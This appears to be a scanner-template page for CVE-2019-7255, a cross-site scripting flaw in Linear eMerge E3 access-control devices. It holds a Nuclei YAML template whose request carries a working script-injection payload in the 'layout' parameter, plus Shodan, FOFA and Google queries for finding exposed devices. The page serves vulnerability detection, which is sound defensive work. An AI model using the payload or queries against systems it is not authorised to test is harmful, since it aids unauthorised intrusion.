Linear eMerge E3 - Cross-Site Scripting

ID: CVE-2019-7255

Severity: medium

Author: arafatansari

Tags: cve,cve2019,emerge,xss,packetstorm,nortek,nortekcontrol

Description

Linear eMerge E3-Series devices are vulnerable to cross-site scripting via the ‘layout’ parameter.

YAML Source

id: CVE-2019-7255

info:
  name: Linear eMerge E3 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Linear eMerge E3-Series devices are vulnerable to cross-site scripting via the 'layout' parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://www.applied-risk.com/resources/ar-2019-005
    - https://applied-risk.com/labs/advisories
    - https://packetstormsecurity.com/files/155253/Linear-eMerge-E3-1.00-06-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7255
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-7255
    cwe-id: CWE-79
    epss-score: 0.01232
    epss-percentile: 0.85132
    cpe: cpe:2.3:o:nortekcontrol:linear_emerge_essential_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nortekcontrol
    product: linear_emerge_essential_firmware
    shodan-query:
      - http.title:"eMerge"
      - http.title:"emerge"
    fofa-query: title="emerge"
    google-query: intitle:"emerge"
  tags: cve,cve2019,emerge,xss,packetstorm,nortek,nortekcontrol

http:
  - method: GET
    path:
      - "{{BaseURL}}/badging/badge_template_v0.php?layout=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Template : <script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008dfe74618987117ab2a3fc9adbc10624a28ddf5344f886de175701bffd5d7b3e022046b7dd9c9a8033ad4355dc83bf4c024613eb4d8b162522f08bff89dfcbb25d92:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-7255.yaml"

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